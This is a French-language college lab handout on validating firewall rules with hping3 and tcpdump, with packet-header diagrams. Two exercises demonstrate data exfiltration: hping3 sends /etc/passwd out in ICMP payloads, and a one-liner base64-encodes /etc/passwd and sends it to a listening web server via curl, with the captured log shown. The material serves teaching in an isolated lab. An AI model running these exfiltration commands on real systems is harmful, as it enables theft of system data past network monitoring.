Vous êtes sur la page 1sur 13

Sécurité avancée

- Laboratoire -
hping, tcpdump, nmap
420-T10-SU

Équipe des professeurs – réseau et sécurité

Juillet 2018

255 Crémazie Est, bureau 100, Montréal (Québec) H2M 1M2


Téléphone : (514) 842-2426, télécopieur : (514) 842-2084
www.isi-mtl.com
Table des matières
Introduction ............................................................................................................................................................................ 3
Mise à jour de la VM ........................................................................................................................................................... 3
Changer le nom du client ................................................................................................................................................... 3
Changer la configuration de SELinux.................................................................................................................................. 3
hping3 ..................................................................................................................................................................................... 3
Installer hping3 ................................................................................................................................................................... 4
Faire un test ICMP ............................................................................................................................................................... 4
Vérifier un port.................................................................................................................................................................... 4
Tester votre serveur web dans la DMZ ............................................................................................................................... 5
Modifier le port source ........................................................................................................................................................... 5
Exfiltration de données ........................................................................................................................................................... 6
Synopsis............................................................................................................................................................................... 6
tcpdump .................................................................................................................................................................................. 7
hping3 ..................................................................................................................................................................................... 8
Exfiltration avec base64 et httpd .......................................................................................................................................... 10
Installation – poste client .................................................................................................................................................. 10
Exfiltration sur le Firewall ................................................................................................................................................. 11
Décodage .......................................................................................................................................................................... 12
Annexe A – Diagramme des en-têtes.................................................................................................................................... 13
IP - Format de l'en-tête ..................................................................................................................................................... 13
TCP - Format de l'en-tête .................................................................................................................................................. 13
UDP - Format de l'en-tête ................................................................................................................................................. 13
ICMP- Format de l'en-tête ................................................................................................................................................ 13

2|Page
Introduction
Après avoir vu comment utiliser iptables dans toute sa complexité, il faut être en mesure de valider le niveau
de sécurité de vos règles. Une erreur pourrait se glisser et un serveur pourrait être exposé facilement à une
menace.

Nous allons donc voir des outils comme hping3, tshark et nmap

Préparation de la VM Client

Comme la VM Client va servir de plateforme d'attaque, nous allons mettre SELinux à disable et arrêter le
service de firewall afin de nous permettre de faire nos tests sans être gêné

Mise à jour de la VM
# yum update –y

# yum install vim net-tools -y

Changer le nom du client02 (celui à l’extérieur du réseau)


# hostnamectl set-hostname chelou.chaosnet.local

Changer la configuration de SELinux


# vim /etc/selinux/config

Changer SELINUX=enforcing Pour SELINUX=permissive

hping3
hpingw est un analyseur / assembleur de paquets TCP/IP en ligne de commande. L'interface est inspirée de la
commande ping, la commande est capable de supporter, en plus du protocole ICMP, les protocoles TCP, UDP
et ICMP

Il peut être utilisé pour :

 Test de pare-feu;
 Balayage de port avancé;
 Test de réseau, utilisant différents protocoles, TOS, fragmentation ;
 Découverte MTU manuelle;
 Traceroute avancé sous les protocoles supportés;
 Empreinte digitale du système d'exploitation distant (OS Fingerprinting);
 Estimer la disponibilité à distance
3|Page
 Audit des piles TCP / IP

Installer hping3

# yum install epel-release

# yum install hping3

Faire un test ICMP


Afin d'utiliser hping3 pour faire un ping comme Unix, vous devez utiliser l'option -1 pour être dans le mode
icmp

Pour voir les options : hping3 --help

# hping3 -1 192.168.20.15

Vérifier un port
Si vous n'avez pas de réponse avec ping ou que vous voulez tester un port tcp (ex. port 80), vous pouvez
essayer cette commande

# hping3 –S –p 80 192.168.20.15

Pour le protocole TCP, il faut spécifier les flags

Les flags sont:

 -L --setack TCP ack


 -F --fin FIN flag
 -S --syn SYN flag
 -R --rst RST flag
 -P --push PUSH flag
 -A --ack ACK flag
 -U --urg URG flag

4|Page
Tester votre serveur web dans la DMZ
Pour tester votre serveur web, vous devez configurer votre firewall afin de permettre au port 80 de passer et
au serveur dans la DMZ de communiquer avec le port 80

Mettez aussi les ping sur votre firewall à REJECT sur la chaine INPUT

Sur le client, installer tcpdump

# yum install tcpdump

Ouvrez une session sur le client et activez tcpdump qui va valider vos tests. Il faut dire à tcpdump d'écouter le trafic sur
l'interface eth0 et afficher seulement le trafic provenant de votre firewall

# tcpdump –i eth0 –n host 192.168.X.X

Sur un autre terminal, lancez deux ping vers votre firewall et regardez les résultats

# hping3 -1 -c 2 192.168.X.X

Essayer ensuite avec un paquet tcp sur le port 25 qui devrait être à DROP

# hping3 -S –p 25 -c 2 192.168.X.X

Modifier le port source


Voici un exemple du test où on peut modifier le port source

Configurer votre règles de firewall pour ssh pour inclure --dport 22 --sport 1024: pour la règle INPUT

Regardez les résultats avec ces deux commandes

# hping3 -S –p 22 –s 5100 -c 2 192.168.X.X

# hping3 -S –p 22 –s 1022 -c 2 192.168.X.X

5|Page
Exfiltration de données
Dans cet exercice, nous allons voir un exemple d'exfiltration de données via les paquets ICMP

Voici le schéma pour l'exercice

Synopsis
Dans cet exercice, nous allons configurer tcpdump sur le poste client pour qu'il puisse intercepter tous les messages
ICMP provenant du firewall. Nous allons avoir besoin de 3 sessions SSH pour cet exercice

Nous allons aussi configurer tcpdump sur un autre terminal qui va afficher dans la fenêtre du terminal seulement les
messages provenant du firewall. Ceci va nous permettre de voir que les messages arrivent bien au poste client.

Enfin sur le firewall, nous allons extraire le contenu du fichier /etc/passwd et l'envoyer au client via des messages icmp

[root@chelou ~]# ifconfig


eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.130.10 netmask 255.255.128.0 broadcast 192.168.255.255
inet6 fe80::3ad7:c761:a2bd:4d65 prefixlen 64 scopeid 0x20<link>
inet6 fe80::f6f2:bf90:3d2e:9be8 prefixlen 64 scopeid 0x20<link>
ether 00:15:5d:82:39:5d txqueuelen 1000 (Ethernet)
RX packets 109317 bytes 40683973 (38.7 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 102626 bytes 8908567 (8.4 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536


inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 3 bytes 168 (168.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3 bytes 168 (168.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

6|Page
tcpdump

Le MTU (Maximum Transmission Unit) détermine la taille maximum que peut avoir un datagramme lors d'une
transmission IP sans avoir à être fragmenté.

Pour votre interface eth0, le mtu est de 1500 bytes. Nous allons utiliser cette valeur pour l'exfiltration des données.

Sur le client02. Nous allons configurer le témoin pour s'assurer que les messages arrivent bien. Remplacer le X par l'octet
de l'adresse IP du firewall.

# tcpdump –i eth0 –n host 192.168.X.X

-i permet de spécifier l'interface

-n ne pas convertir l'adresse ip en nom

Host 192.168.X.X Filtrer sur l'adresse ip 192.168.X.X. Notez qu'il n'y a pas de direction avec ce
filtre

Ensuite, sur le second terminal du client, nous allons configurer tcpdump pour recevoir les paquets et les enregistrer
dans un fichier pcap.

# tcpdump –i eth0 'icmp and src host 192.168.X.X' –w icmp_dump.pcap

-i permet de spécifier l'interface

icmp and src host 192.168.X.X Filtrer sur le protocole icmp et l'adresse source 192.168.X.X

-w enregistrer les messages dans le fichier spécifié

7|Page
hping3

Sur le client01 (dans le réseau interne), nous allons utiliser hping3 pour lui envoyer le contenu du fichier /etc/passwd.
Remplacer le Y par l'octet de l'adresse IP du client02.

# hping3 –1 –E /etc/passwd –u –d 1500 192.168.X.Y

-1 utiliser le mode icmp

-E utiliser le contenu d'un fichier pour remplir la portion date des paquets.

-u informer quand la fin du fichier est atteinte et empêcher que l'autre extrémité accepte plus de paquets

-d Définir la taille du paquet. C'est aussi la taille des portions du fichier

Une fois que le fichier est complètement transmis appuyez sur CRTL+C

len=1500 ip=192.168.130.10 ttl=64 DF id=19522 icmp_seq=3 rtt=1.5 ms


EOF reached, wait some second than press ctrl+c

Arrêtez aussi la capture sur le poste client aussi avec les touches CRTL+C

À l'aide de mobaxterm ou winscp connectez-vous au client et téléchargez le fichier pcap que vous avez fait.

Une fois téléchargée, ouvrez le fichier avec wireshark

8|Page
Comme vous pouvez le constater, la taille du paquet a dépassée les 1500 bytes ce qui donne un drôle de résultat. Dans
le calcul il aurait fallu tenir compte des éléments suivants:

 L'en-tête Ethernet

 de l'en-tête IP (20 bytes)

 l'en-tête ICMP (8 bytes)

Donc il va falloir réduire la taille des données

Réessayons l'exfiltration une nouvelle fois

Sur le client02, relançons la capture des messages icmp

# tcpdump –i eth0 'icmp and src host 192.168.X.X' –w icmp_dump2.pcap

9|Page
Et sur le client01 relançons l'exfiltration sans les en-têtes (42 Bytes) vers le client02

# hping3 –1 –E /etc/passwd –u –d 1458 192.168.X.Y

Une fois le transfert complété, arrêté la capture et téléchargé le fichier pcap.

Regardez les résultats avec wireshark

Exfiltration avec base64 et httpd

Une autre méthode simple d'exfiltration est d'utiliser un serveur web pour enregistrer les données exfiltrées. Comme il
est difficile de mettre plusieurs liges dans un URL, nous allons utiliser l'outil base64 pour encoder les données

Installation – poste client02


Installer un serveur httpd sur le client02

# yum install httpd –y

# systemctl start httpd

Configurer le témoin

Nous allons utiliser la commande tail pour surveiller le fichier log /var/log/httpd/access_log. Faite CRTL+C pour arrêter
tcpdump

# tail –f /var/log/httpd/access_log

10 | P a g e
Exfiltration sur le client01
Nous allons utiliser la commande cat pour afficher le contenu du fichier /etc/passwd, ensuite le résultat sera envoyé à la
commande base64. Comme l'encodage en base64 utilise des sauts de ligne, nous utiliserons la commande tr pour les
supprimer et produire une seule ligne au lieu de plusieurs.

Ensuite, nous allons utiliser la commande curl pour accéder une page web qui porte le nom du résultat en base64.
Comme la page n'existe pas, un message d'erreur est retourné au firewall et le résultat en base64 est enregistré dans le
journal access_log du serveur apache (httpd).

# spy=$(cat /etc/passwd | base64 | tr -d "\n")

# curl http://192.168.130.10/$spy

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">


<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFza
[…]

Ensuite, sur le poste client, il faut faire un cat sur le fichier access_log et copier le résultat de la base64.

[root@chelou ~]# cat /var/log/httpd/access_log


192.168.130.55 - - [09/Aug/2018:00:00:37 -0400] "GET
/cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApiaW46eDoxOjE6YmluOi9iaW46L3NiaW4vbm9sb2dpbgpkYWVtb
246eDoyOjI6ZGFlbW9uOi9zYmluOi9zYmluL25vbG9naW4KYWRtOng6Mzo0OmFkbTovdmFyL2FkbTovc2Jpbi9ub2xvZ2luC
mxwOng6NDo3OmxwOi92YXIvc3Bvb2wvbHBkOi9zYmluL25vbG9naW4Kc3luYzp4OjU6MDpzeW5jOi9zYmluOi9iaW4vc3lu
YwpzaHV0ZG93bjp4OjY6MDpzaHV0ZG93bjovc2Jpbjovc2Jpbi9zaHV0ZG93bgpoYWx0Ong6NzowOmhhbHQ6L3NiaW46L3
NiaW4vaGFsdAptYWlsOng6ODoxMjptYWlsOi92YXIvc3Bvb2wvbWFpbDovc2Jpbi9ub2xvZ2luCm9wZXJhdG9yOng6MTE6M
DpvcGVyYXRvcjovcm9vdDovc2Jpbi9ub2xvZ2luCmdhbWVzOng6MTI6MTAwOmdhbWVzOi91c3IvZ2FtZXM6L3NiaW4vbm9
sb2dpbgpmdHA6eDoxNDo1MDpGVFAgVXNlcjovdmFyL2Z0cDovc2Jpbi9ub2xvZ2luCm5vYm9keTp4Ojk5Ojk5Ok5vYm9keT
ovOi9zYmluL25vbG9naW4Kc3lzdGVtZC1uZXR3b3JrOng6MTkyOjE5MjpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudDovO
i9zYmluL25vbG9naW4KZGJ1czp4OjgxOjgxOlN5c3RlbSBtZXNzYWdlIGJ1czovOi9zYmluL25vbG9naW4KcG9sa2l0ZDp4Ojk5O
To5OTg6VXNlciBmb3IgcG9sa2l0ZDovOi9zYmluL25vbG9naW4Kc3NoZDp4Ojc0Ojc0OlByaXZpbGVnZS1zZXBhcmF0ZWQgU
1NIOi92YXIvZW1wdHkvc3NoZDovc2Jpbi9ub2xvZ2luCnBvc3RmaXg6eDo4OTo4OTo6L3Zhci9zcG9vbC9wb3N0Zml4Oi9zYm
luL25vbG9naW4KdGVtcGxhdGU6eDoxMDAwOjEwMDA6dGVtcGxhdGU6L2hvbWUvdGVtcGxhdGU6L2Jpbi9iYXNoCmFwY
WNoZTp4OjQ4OjQ4OkFwYWNoZTovdXNyL3NoYXJlL2h0dHBkOi9zYmluL25vbG9naW4KYWxpY2U6eDoxMDAxOjEwMDE6
Oi9ob21lL2FsaWNlOi9iaW4vYmFzaApib2I6eDoxMDAyOjEwMDI6Oi9ob21lL2JvYjovYmluL2Jhc2gKbnRwOng6Mzg6Mzg6Oi
9ldGMvbnRwOi9zYmluL25vbG9naW4KY2xhbXVwZGF0ZTp4Ojk5ODo5OTY6Q2xhbWF2IGRhdGFiYXNlIHVwZGF0ZSB1c2Vy
Oi92YXIvbGliL2NsYW1hdjovc2Jpbi9ub2xvZ2luCmNsYW1zY2FuOng6OTk3Ojk5NDpDbGFtYXYgc2Nhbm5lciB1c2VyOi86L3N
iaW4vbm9sb2dpbgpyb2JlcnQ6eDoxMDAzOjEwMDM6Oi9ob21lL3JvYmVydDovYmluL2Jhc2gKdGNwZHVtcDp4OjcyOjcyOj
ovOi9zYmluL25vbG9naW4K HTTP/1.1" 403 1842 "-" "curl/7.29.0"

Sélectionner et copier la partie entre / et HTTP/1.1

11 | P a g e
Décodage
Allez sur le site https://www.base64decode.org/

Coller le résultat dans la case du haut et cliquez sur le bouton vert

Vous pourrez voir le résultat dans la case du bas

12 | P a g e
Annexe A – Diagramme des en-têtes

IP - Format de l'en-tête
Byte 0 1 2 3
0 Version IHL Type de service Taille total
D M
4 Identification Fragment offset
F F 20
8 Time to live Protocole Header checksum Bytes
12 Adresse source
16 Adresse de destination
20 Options
1 2 3
0 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1
0 0 0

TCP - Format de l'en-tête


Byte 0 1 2 3
0 Port source Port destination
4 numéro de séquence
8 numéro d'acquittement 20
DRAPEAUX TCP Bytes
12 Offset Reservé Fenêtre
C E U A P R S F
16 Checksum Pointeur urgent
20 TCP - Options (Longueur variable, optionnel)
1 2 3
0 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1
0 0 0

UDP - Format de l'en-tête


Byte 0 1 2 3
0 Port source Port destination 8
4 Longueur En-tête et checksum Bytes
1 2 3
0 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1
0 0 0

ICMP- Format de l'en-tête


Byte 0 1 2 3
0 Type Code Checksum 8
4 Autres informations spécifiques au message Bytes

1 2 3
0 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1
0 0 0

13 | P a g e

Vous aimerez peut-être aussi